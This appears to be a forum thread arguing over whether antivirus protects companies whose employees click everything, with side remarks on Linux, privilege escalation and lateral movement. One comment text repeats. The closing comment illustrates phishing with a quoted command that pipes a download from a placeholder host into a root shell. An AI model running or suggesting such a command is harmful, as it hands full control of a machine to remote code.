Comment by codedokode
14 hours ago
Antivirus is not a bad thing. Imagine running a company where there are 100 employees that click every link and open every attachment. Definitely safer with an antivirus.
14 hours ago
Antivirus is not a bad thing. Imagine running a company where there are 100 employees that click every link and open every attachment. Definitely safer with an antivirus.
I imagined it with employees on Linux and it wasn't clear to me it's definitely safer with an antivirus software. You are just stating things without explaining yourself...
That's only because Linux doesn't have working antivirus though. If it did, you'd want it.
Or... working viruses on Linuxes, for that matter. They always throw something about needing glibc x.x.x or higher.
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Maybe you’re imagining no local privilege escalation vulnerabilities. Those are low severity in general, but if you can get a user to run something it’s all over.
How much do I need to go on? A foothold on a local computer allows the attacker to spread horizontally across your network.
It’s just a matter of time before you’re fighting real-time AI-driven attacks (most sites aren’t yet). Good luck even with your antivirus. Which I agree is going to be one of the footholds that is used against you.
how? if there's hundreds of employees and one of them downloads something that's detectable, you've now prevented a disaster that otherwise wouldn't have
Imagine they got an email from the HR department that says that they must copy `curl example.com | sudo bash` to prove they are human and get their salary...